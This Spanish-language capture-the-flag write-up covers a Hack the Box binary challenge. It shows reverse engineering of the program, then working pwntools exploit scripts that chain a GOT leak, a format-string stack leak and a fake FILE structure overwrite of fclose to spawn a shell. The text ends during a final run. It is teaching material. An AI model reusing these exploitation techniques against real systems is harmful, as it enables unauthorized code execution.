FileStorage
22 minutos de lectura
Este es un reto que diseñé para Hack the Box. Se nos proporciona un binario de 64 bits llamado file_storage
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Vemos que tiene NX habilitado, por lo que no podemos ejecutar shellcode personalizado en la pila directamente. Además, tiene Partial RELRO, lo que significa que la Tabla de Offsets Globales (GOT) puede modificarse de algunas maneras.
No hay PIE ni canarios de pila (stack canaries), por lo que habrá que realizar menos pasos para la explotación. Probablemente, solo necesitaremos eludir ASLR.
Configuración del entorno
Tenemos un Dockerfile
, que presumiblemente será la instancia remota:
FROM ubuntu@sha256:a06ae92523384c2cd182dcfe7f8b2bf09075062e937d5653d7d0db0375ad2221
EXPOSE 1337
RUN apt update && apt install -y socat && rm -rf /var/lib/apt/lists/*
RUN useradd --user-group --system --no-log-init ctf
USER ctf
WORKDIR /home/ctf
COPY challenge/file_storage challenge/flag.txt ./
ENTRYPOINT ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/home/ctf/file_storage"]
Por lo tanto, podemos obtener la librería y el cargador de Glibc remoto y parchear el binario para que se ejecute en el mismo entorno usando patchelf
:
$ docker run --rm -v "$(pwd):/opt" -it ubuntu@sha256:a06ae92523384c2cd182dcfe7f8b2bf09075062e937d5653d7d0db0375ad2221 bash
root@a7cd55033e42:/# ldd /bin/sh
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000004001858000)
/lib64/ld-linux-x86-64.so.2 (0x0000004000000000)
root@a7cd55033e42:/# cp /lib/x86_64-linux-gnu/libc.so.6 /opt
root@a7cd55033e42:/# cp /lib64/ld-linux-x86-64.so.2 /opt
root@a7cd55033e42:/# exit
exit
$ chmod +x ld-linux-x86-64.so.2 libc.so.6
$ patchelf --set-rpath . file_storage
$ patchelf --set-interpreter ld-linux-x86-64.so.2 file_storage
$ ldd file_storage
linux-vdso.so.1 (0x00007ffdfff6e000)
libc.so.6 => ./libc.so.6 (0x00007fd0f1249000)
ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd0f143d000)
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> ^C
Ingeniería inversa
Descompilaremos el binario usando una herramienta de ingeniería inversa como Ghidra. Esta es la función main
:
void main() {
int ret;
time_t t;
char *index;
size_t length;
char content[256];
char path[16];
char type[7];
char filename[9];
FILE *fp;
int option;
setbuf(stdout, (char *) 0x0);
t = time((time_t *) 0x0);
srand((uint) t);
puts("Welcome to my File Storage (beta):");
do {
option = menu();
if (option == 1) {
printf("Filename: ");
fgets(filename + 1, 8, stdin);
index = strstr(filename + 1, "txt");
if (index == (char *) 0x0) {
puts("Error: Only \'.txt\' files are allowed");
option = 0;
} else {
length = strlen(filename + 1);
filename[length] = '\0';
sprintf(path, "/tmp/%s", filename + 1);
fp = fopen(path, "r");
if (fp == (FILE *) 0x0) {
printf("Error: File not found. Please try again\nDebug: ");
printf(path);
option = 0;
} else {
printf("What\'s in the file? (string/number): ");
fgets(type, 8, stdin);
ret = strcmp("string\n", type);
if (ret == 0) {
__isoc99_fscanf(fp, " %s", content);
puts(content);
} else {
ret = strcmp("number\n", type);
if (ret != 0) {
puts("Error: Bad file content");
fclose(fp);
/* WARNING: Subroutine does not return */
exit(1);
}
__isoc99_fscanf(fp, " %s", content);
ret = atoi(content);
puts((char *) (long) ret);
}
fclose(fp);
printf("Do you want to write something? (yes/no): ");
fgets(type, 8, stdin);
ret = strcmp("yes\n", type);
if (ret == 0) goto LAB_0040170f;
}
}
} else if (option == 2) {
LAB_0040170f:
generate(path);
fp = fopen(path, "w");
if (fp == (FILE *) 0x0) {
puts("fopen() error");
/* WARNING: Subroutine does not return */
exit(1);
}
puts("Enter content:");
gets(content);
fprintf(fp, " %s", content);
fclose(fp);
} else {
puts("Bye!");
}
if (option != 0) {
puts("Cleaning files...");
sleep(5);
system("rm /tmp/??.txt 2>/dev/null");
/* WARNING: Subroutine does not return */
exit(0);
}
} while (true);
}
Básicamente, proporciona un menú con estas pocas funciones:
undefined4 menu() {
undefined4 local_c;
puts("\n1. Read contents from a file");
puts("2. Write data into a random file");
puts("3. Exit");
printf("> ");
__isoc99_scanf("%d", &local_c);
getchar();
return local_c;
}
Encontrando vulnerabilidades
Mirando nuevamente la función main
, tenemos estas vulnerabilidades:
- Utiliza
gets
para tomar la entrada del usuario (datos a escribir en un archivo). - Hay una instrucción
printf(path);
que usa como primer argumento una variable que controlada por el usuario (la ruta de un archivo). - Al leer un archivo, el programa pregunta si contiene strings o un número. Si la respuesta es un número, entonces el archivo se lee como string y se pasa a
atoi
. Después de eso, el número se pasa directamente aputs
. Esto es vulnerable porqueputs
tomará este número como un puntero a una string.
Probemos estas vulnerabilidades:
- Buffer Overflow en
gets
:
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 2
Enter content:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./file_storage
- Vulnerabilidad de Format String en
printf
:
./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %p
Error: Only '.txt' files are allowed
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %p.txt
Error: File not found. Please try again
Debug: /tmp/0x7fffffffbfa0.txt
1. Read contents from a file
2. Write data into a random file
3. Exit
>
Obsérvese que el programa verifica la extensión .txt
del nombre de archivo.
- Fugas de memoria con
atoi
yputs
:
Para esto, ingresamos un número específico en un archivo de /tmp
. Este número es la entrada para puts
en la GOT (o cualquier otra función):
$ readelf -r file_storage | grep puts
000000404020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
$ python3 -c 'print(0x404020)'
4210720
$ echo 4210720 > /tmp/a.txt
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: a.txt
What's in the file? (string/number): number
Do you want to write something? (yes/no): no
Cleaning files...
No vemos nada porque son caracteres no imprimibles. Además, los archivos se eliminan 5 segundos después de mostrar el mensaje "Cleaning files..."
.
Usemos xxd
para ver la fuga de memoria:
$ echo 4210720 > /tmp/a.txt
$ ./file_storage | xxd
00000000: 5765 6c63 6f6d 6520 746f 206d 7920 4669 Welcome to my Fi
00000010: 6c65 2053 746f 7261 6765 2028 6265 7461 le Storage (beta
00000020: 293a 0a0a 312e 2052 6561 6420 636f 6e74 ):..1. Read cont
00000030: 656e 7473 2066 726f 6d20 6120 6669 6c65 ents from a file
00000040: 0a32 2e20 5772 6974 6520 6461 7461 2069 .2. Write data i
00000050: 6e74 6f20 6120 7261 6e64 6f6d 2066 696c nto a random fil
1
00000060: 650a 332e 2045 7869 740a 3e20 4669 6c65 e.3. Exit.> File
a.txt
00000070: 6e61 6d65 3a20 5768 6174 2773 2069 6e20 name: What's in
00000080: 7468 6520 6669 6c65 3f20 2873 7472 696e the file? (strin
number
00000090: 672f 6e75 6d62 6572 293a 2020 14b3 96cf g/number): ....
000000a0: 7f0a 446f 2079 6f75 2077 616e 7420 746f ..Do you want to
000000b0: 2077 7269 7465 2073 6f6d 6574 6869 6e67 write something
no
000000c0: 3f20 2879 6573 2f6e 6f29 3a20 436c 6561 ? (yes/no): Clea
000000d0: 6e69 6e67 2066 696c 6573 2e2e 2e0a ning files....
Ahí la tenemos: 20 14 b3 96 cf 7f
, o 0x7fcf96b31420
como número hexadecimal. Esta es la dirección de puts
en tiempo de ejecución, porque es el valor en la entrada de la GOT para puts
(0x404020
). Y los últimos tres dígitos hexadecimales de la dirección coinciden con los últimos tres dígitos hexadecimales de su offset en Glibc:
$ readelf -s libc.so.6 | grep ' puts@@'
430: 0000000000084420 476 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5
Estrategia de explotación
Ahora, planeemos la estrategia de explotación (en local). En primer lugar, algunas consideraciones sobre el programa:
- No podemos usar un exploit de Buffer Overflow típico porque no hay instrucciones de retorno en
main
(ejecutaexit
). - No podemos explotar completamente la vulnerabilidad de Format String porque el tamaño de nuestra entrada es de 8 bytes máximo (para el nombre de archivo) y debemos ingresar además
"txt"
. - El programa permite probar nombres de archivo hasta que encontremos uno válido o salir del programa.
- Si escribimos datos en un archivo, el programa saldrá después.
- El nombre de archivo generado es aleatorio y consta de dos letras mayúsculas (por ejemplo,
AB.txt
oXD.txt
). - Después de mostrar
"Cleaning files..."
, los archivos.txt
en/tmp
se eliminarán después de 5 segundos. - Si leemos un archivo, tenemos la oportunidad de escribir datos en un archivo.
Ahora, podemos evitar algunos de estos problemas:
- Podemos ingresar datos en un archivo aleatorio y salir del programa antes de que se realice el borrado.
- Podemos usar fuerza bruta para encontrar el nombre de archivo generado (también podríamos crear un PRNG usando
srand(time(0))
yrand()
, pero puede haber problemas de sincronización). - Podemos cerrar el proceso antes de que el programa elimine los archivos.
Para burlar ASLR, la mejor idea es poner la dirección de una entrada GOT en un archivo y, después de eso, leerlo como se mostró antes. De esta manera, obtendremos la dirección de una función dentro de Glibc en tiempo de ejecución, y así calcular la dirección base de Glibc.
Comencemos con este script de Python:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('file_storage')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def brute_force_filename(p) -> bytes:
filename_progress = log.progress('Filename')
for a in string.ascii_uppercase:
for b in string.ascii_uppercase:
filename = f'{a}{b}.txt'
filename_progress.status(filename)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', filename.encode())
msg = p.recvuntil(b':')
if b'Error' not in msg:
filename_progress.success(filename)
return filename.encode()
def main():
p = get_process()
p.sendlineafter(b'> ', b'3')
sleep(6)
p.close()
print()
p = get_process()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'content:\n', str(elf.got.puts).encode())
sleep(1)
p.close()
print()
p = get_process()
filename = brute_force_filename(p)
p.close()
print()
p = get_process()
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', filename)
p.sendlineafter(b'(string/number): ', b'number')
puts_addr = u64(p.recvline().strip(b'\n').ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc base address: {hex(glibc.address)}')
p.close()
if __name__ == '__main__':
main()
Obsérvese que iniciamos el programa y salimos solo para limpiar archivos en /tmp/??.txt
, por si acaso. Luego, antes de cerrar el proceso, podemos usar sleep(1)
para garantizar que el archivo esté escrito correctamente (de lo contrario, los siguientes pasos podrían bloquearse):
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1587036
[*] Process './file_storage' stopped with exit code 0 (pid 1587036)
[+] Starting local process './file_storage': pid 1587095
[*] Stopped process './file_storage' (pid 1587095)
[+] Starting local process './file_storage': pid 1587097
[+] Filename: OL.txt
[*] Stopped process './file_storage' (pid 1587097)
[+] Starting local process './file_storage': pid 1587155
[*] Leaked puts() address: 0x7f4c4506e420
[+] Glibc base address: 0x7f4c44fea000
[*] Stopped process './file_storage' (pid 1587155)
Genial, revisemos el bloque de código que escribe datos en un archivo:
void main() {
// ...
char content[256];
char path[16];
FILE *fp;
// ...
generate(path);
fp = fopen(path, "w");
if (fp == (FILE *) 0x0) {
puts("fopen() error");
/* WARNING: Subroutine does not return */
exit(1);
}
puts("Enter content:");
gets(content);
fprintf(fp, " %s", content);
fclose(fp);
// ...
}
Ataque de estructura FILE
A pesar de no poder controlar la dirección de retorno guardada utilizando la vulnerabilidad de Buffer Overflow, podemos modificar el valor del puntero FILE* fp
, para que podamos hacer que fprintf
escriba datos arbitrarios en una región de memoria. Esta técnica se llama ataque de estructura FILE
.
Vamos a usar GDB:
$ gdb -q file_storage
Reading symbols from file_storage...
(No debugging symbols found in file_storage)
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000004014a4 <+0>: endbr64
...
0x000000000040176a <+710>: call 0x401260 <gets@plt>
0x000000000040176f <+715>: lea rdx,[rbp-0x130]
0x0000000000401776 <+722>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040177a <+726>: lea rsi,[rip+0x9ad] # 0x40212e
0x0000000000401781 <+733>: mov rdi,rax
0x0000000000401784 <+736>: mov eax,0x0
0x0000000000401789 <+741>: call 0x401240 <fprintf@plt>
0x000000000040178e <+746>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000401792 <+750>: mov rdi,rax
0x0000000000401795 <+753>: call 0x4011b0 <fclose@plt>
0x000000000040179a <+758>: jmp 0x4017ab <main+775>
0x000000000040179c <+760>: lea rdi,[rip+0xa04] # 0x4021a7
0x00000000004017a3 <+767>: call 0x4011a0 <puts@plt>
0x00000000004017a8 <+772>: jmp 0x4017ab <main+775>
0x00000000004017aa <+774>: nop
0x00000000004017ab <+775>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000004017af <+779>: je 0x4014e4 <main+64>
0x00000000004017b5 <+785>: lea rdi,[rip+0x9f0] # 0x4021ac
0x00000000004017bc <+792>: call 0x4011a0 <puts@plt>
0x00000000004017c1 <+797>: mov edi,0x5
0x00000000004017c6 <+802>: call 0x4012c0 <sleep@plt>
0x00000000004017cb <+807>: lea rdi,[rip+0x9ec] # 0x4021be
0x00000000004017d2 <+814>: call 0x4011e0 <system@plt>
0x00000000004017d7 <+819>: mov edi,0x0
0x00000000004017dc <+824>: call 0x4012b0 <exit@plt>
End of assembler dump.
gef➤ break *main+741
Breakpoint 1 at 0x401789
gef➤ pattern create 500
[+] Generating a pattern of 500 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 2
Enter content:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Breakpoint 1, 0x0000000000401789 in main ()
Alcanzamos al breakpoint. Ahora podemos ver el offset para sobrescribir el puntero FILE
que se pasa a fprintf
:
gef➤ x/i $rip
=> 0x401789 <main+741>: call 0x401240 <fprintf@plt>
gef➤ x/gx $rdi
0x626161616161616c: Cannot access memory at address 0x626161616161616c
gef➤ x/gx $rsi
0x40212e: 0x626d756e00732520
gef➤ x/gx $rdx
0x7fffffffe5a0: 0x6161616161616161
Vemos que hemos sobrescrito $rdi
con algunos caracteres del patrón, por lo que podemos controlar la dirección del puntero FILE
(fp
):
gef➤ pattern offset $rdi
[+] Searching for '6c61616161616162'/'626161616161616c' with period=8
[+] Found at offset 288 (little-endian search) likely
gef➤ quit
Perfecto, ahora la idea es ingresar un puntero a una dirección en la pila que contiene una estructura FILE
falsa que escribirá datos arbitrarios en una dirección específica de memoria.
Solo para probar, deshabilitamos a ASLR para facilitar las tareas:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for rocky:
0
Ahora visualicemos una estructura normal del tipo FILE
:
$ gdb -q file_storage
Reading symbols from file_storage...
(No debugging symbols found in file_storage)
gef➤ break *main+741
Breakpoint 1 at 0x401789
gef➤ run
Starting program: ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 2
Enter content:
AAAA
Breakpoint 1, 0x0000000000401789 in main ()
gef➤ x/30gx $rdi
0x4056b0: 0x00000000fbad2484 0x0000000000000000
0x4056c0: 0x0000000000000000 0x0000000000000000
0x4056d0: 0x0000000000000000 0x0000000000000000
0x4056e0: 0x0000000000000000 0x0000000000000000
0x4056f0: 0x0000000000000000 0x0000000000000000
0x405700: 0x0000000000000000 0x0000000000000000
0x405710: 0x0000000000000000 0x00007ffff7fc45c0
0x405720: 0x0000000000000003 0x0000000000000000
0x405730: 0x0000000000000000 0x0000000000405790
0x405740: 0xffffffffffffffff 0x0000000000000000
0x405750: 0x00000000004057a0 0x0000000000000000
0x405760: 0x0000000000000000 0x0000000000000000
0x405770: 0x0000000000000000 0x0000000000000000
0x405780: 0x0000000000000000 0x00007ffff7fc04a0
0x405790: 0x0000000000000000 0x0000000000000000
gef➤ p *(FILE*) $rdi
$1 = {
_flags = 0xfbad2484,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fc45c0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x405790,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x4057a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
gef➤ x 0x00007ffff7fa74a0
0x7ffff7fa74a0: 0x0000000dfff983c0
La forma de explotar esta estructura FILE
para lograr una primitiva de escritura arbitraria es agregar una determinada dirección en _IO_buf_base
(y la misma dirección más 8
en _IO_buf_end
). Más información en angelboy.tw.
Por ejemplo, podemos intentar modificar el nombre de una variable de entorno cargada en la pila:
gef➤ grep USER
[+] Searching 'USER' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffeea7 - 0x7fffffffeeb1 → "USER=rocky"
Dado que ASLR está deshabilitado temporalmente, esta dirección será estática. Actualicemos el script de Python y agreguemos GDB al proceso:
#!/usr/bin/env python3
# ...
def brute_force_filename(p) -> bytes:
# ...
def fsop(addr: int, _lock: int) -> bytes:
#_lock = 0x405790 (Just a writable address, i.e. stack)
payload = p64(0xfbad2484)
payload += p64(0) * 6
payload += p64(addr)
payload += p64(addr + 8)
payload += p64(0) * 4
payload += p64(glibc.sym._IO_2_1_stderr_)
payload += p64(3)
payload += p64(0) * 2
payload += p64(_lock)
payload += b'\xff' * 8
payload += p64(0)
payload += p64(_lock + 0x10)
payload += p64(0) * 6
payload += p64(glibc.sym._IO_file_jumps)
return payload
def main():
# ...
gdb.attach(p, gdbscript='break *main+741\ncontinue')
offset = 288
payload = b'X' * 8
payload += fsop(0x7fffffffeeed, 0x405790)
payload += b'A' * (offset - len(payload))
payload += b'B' * 8
p.sendlineafter(b'(yes/no): ', b'yes')
p.sendlineafter(b'content:\n', payload)
p.interactive()
if __name__ == '__main__':
main()
La función llamada fsop
creará la estructura FILE
falsa. Alternativamente, podemos usar FileStructure
de pwntools
.
Todavía no sabemos la dirección en la que se colocará la estructura FILE
maliciosa, por lo que estamos utilizando una dirección ficticia BBBBBBBB
. Si lo ejecutamos, podemos continuar hasta que lleguemos al breakpoint, justo antes de fprintf
:
gef➤ grep USER
[+] Searching 'USER' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffeeed - 0x7fffffffeef7 → "USER=rocky"
gef➤ x/i $rip
=> 0x401789 <main+741>: call 0x401240 <fprintf@plt>
gef➤ x/gx $rdi
0x4242424242424242: Cannot access memory at address 0x4242424242424242
gef➤ x/gx $rsi
0x40212e: 0x626d756e00732520
gef➤ x/gx $rdx
0x7fffffffe600: 0x5858585858585858
gef➤ x/30gx $rdx
0x7fffffffe600: 0x5858585858585858 0x00000000fbad2484
0x7fffffffe610: 0x0000000000000000 0x0000000000000000
0x7fffffffe620: 0x0000000000000000 0x0000000000000000
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x00007fffffffeed6 0x00007fffffffeede
0x7fffffffe650: 0x0000000000000000 0x0000000000000000
0x7fffffffe660: 0x0000000000000000 0x0000000000000000
0x7fffffffe670: 0x00007ffff7fc45c0 0x0000000000000003
0x7fffffffe680: 0x0000000000000000 0x0000000000000000
0x7fffffffe690: 0x0000000000405790 0xffffffffffffffff
0x7fffffffe6a0: 0x0000000000000000 0x00000000004057a0
0x7fffffffe6b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6e0: 0x00007ffff7fc04a0 0x4141414141414141
En este punto, vemos que la estructura FILE
falsa se coloca en 0x7fffffffe608
en la pila. Nótese también que la dirección de la variable de entorno cambió al ejecutar GDB a través del exploit de Python. Ahora, podemos reemplazar BBBBBBBB
por p64(0x7fffffffe608)
y volver a ejecutar el exploit:
gef➤ grep USER
[+] Searching 'USER' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffeeed - 0x7fffffffeef7 → "USER=rocky"
gef➤ x/s 0x7fffffffeeed
0x7fffffffeeed: "USER=rocky"
gef➤ x/i $rip
=> 0x401789 <main+741>: call 0x401240 <fprintf@plt>
gef➤ x/gx $rdi
0x7fffffffe608: 0x00000000fbad2484
gef➤ x/gx $rdx
0x7fffffffe600: 0x5858585858585858
gef➤ p *(FILE *) $rdi
$1 = {
_flags = 0xfbad2484,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x7fffffffeeed "USER=rocky",
_IO_buf_end = 0x7fffffffeef5 "ky",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fc45c0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x405790,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x4057a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
gef➤ ni
0x000000000040178e in main ()
La estructura FILE
parece correcta. Y de hecho, la variable de entorno ha cambiado (de USER=rocky
a XXXXXXXXky
):
gef➤ x/s 0x7fffffffeeed
0x7fffffffeeed: "XXXXXXXXky"
Desarrollo del exploit
Perfecto, tenemos una primitiva de escritura. Ahora podemos intentar cambiar una entrada de la GOT. Después de fprintf
solo tenemos llamadas a fclose
, puts
, sleep
, system
y exit
.
La idea es sobrescribir fclose
en la GOT con una shell one_gadget
, que se puede hacer con un solo payload de ataque de estructura FILE
.
Elegimos modificar fclose
porque el fclose
legítimo fallará dado que la estructura FILE
no es completamente válida (se bloqueará con un error invalid free() pointer
). Por lo tanto, la mejor idea es sobrescribir la entrada de la GOT para fclose
con la dirección de una shell one_gadget
:
$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Sin ASLR
Por el momento, vamos a modificar la GOT. Este es el exploit actualizado:
#!/usr/bin/env python3
# ...
def brute_force_filename(p) -> bytes:
# ...
def fsop(addr: int, _lock: int) -> bytes:
# ...
def main():
# ...
offset = 288
one_gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(glibc.address + one_gadgets[1])
payload += fsop(elf.got.fclose, 0x405790)
payload += b'\0' * (offset - len(payload))
payload += p64(0x7fffffffe538)
p.sendlineafter(b'(yes/no): ', b'yes')
p.sendlineafter(b'content:\n', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1651498
[*] Process './file_storage' stopped with exit code 0 (pid 1651498)
[+] Starting local process './file_storage': pid 1651578
[*] Stopped process './file_storage' (pid 1651578)
[+] Starting local process './file_storage': pid 1651580
[+] Filename: PT.txt
[*] Stopped process './file_storage' (pid 1651580)
[+] Starting local process './file_storage': pid 1651638
[*] Leaked puts() address: 0x7ffff7e5b420
[+] Glibc base address: 0x7ffff7dd7000
[*] Switching to interactive mode
$ ls
file_storage ld-linux-x86-64.so.2 libc.so.6 solve.py
Muy bien, tenemos con éxito una shell interactiva.
Sin embargo, aún no hemos terminado. Ahora debemos burlar ASLR para las direcciones de la pila (recordemos que lo habíamos deshabilitado temporalmente).
Con ASLR
Para burlar el ASLR de la pila, necesitamos filtrar una dirección de la pila en tiempo de ejecución. Esto se puede hacer utilizando la vulnerabilidad de Format String y calcular las direcciones para la estructura FILE
usando offsets.
La fuga debe hacerse antes de filtrar la dirección de función de Glibc (porque estamos leyendo un archivo y solo podremos escribir, no leer de nuevo).
Afortunadamente, resulta que %1$p
filtra una dirección de la pila (0x7fffffffbfa0
):
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %1$ptxt
Error: File not found. Please try again
Debug: /tmp/0x7fffffffbfa0tx
1. Read contents from a file
2. Write data into a random file
3. Exit
>
Como se puede ver, necesitamos agregar txt
para pasar la verificación del nombre de archivo.
Por lo tanto, podemos usar esta fuga para calcular el offset donde se colocará la estructura FILE
falsa en la pila:
$ python3 -q
>>> hex(0x7fffffffe608 - 0x7fffffffbfa0)
'0x2668'
Aunque esta es una buena idea, las direcciones de la pila pueden cambiar según el entorno, por lo que tendremos que agregar GDB nuevamente al proceso si necesitamos depurar el exploit. Este es el exploit utilizando la fuga de la dirección de la pila y los offsets (todavía sin ASLR):
#!/usr/bin/env python3
# ...
def brute_force_filename(p) -> bytes:
# ...
def fsop(addr: int, _lock: int) -> bytes:
# ...
def main():
# ...
p = get_process()
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', f'%1$ptxt'.encode())
p.recvuntil(b'Debug: /tmp/')
stack_leak = int(p.recvline().decode().strip('txt\n'), 16)
log.success(f'Stack leak: {hex(stack_leak)}')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Filename: ', filename)
p.sendlineafter(b'(string/number): ', b'number')
puts_addr = u64(p.recvline().strip(b'\n').ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc base address: {hex(glibc.address)}')
offset = 288
one_gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(glibc.address + one_gadgets[1])
payload += fsop(elf.got.fclose, stack_leak)
payload += b'A' * (offset - len(payload))
payload += p64(stack_leak + 0x2668)
p.sendlineafter(b'(yes/no): ', b'yes')
p.sendlineafter(b'content:\n', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1674295
[*] Process './file_storage' stopped with exit code 0 (pid 1674295)
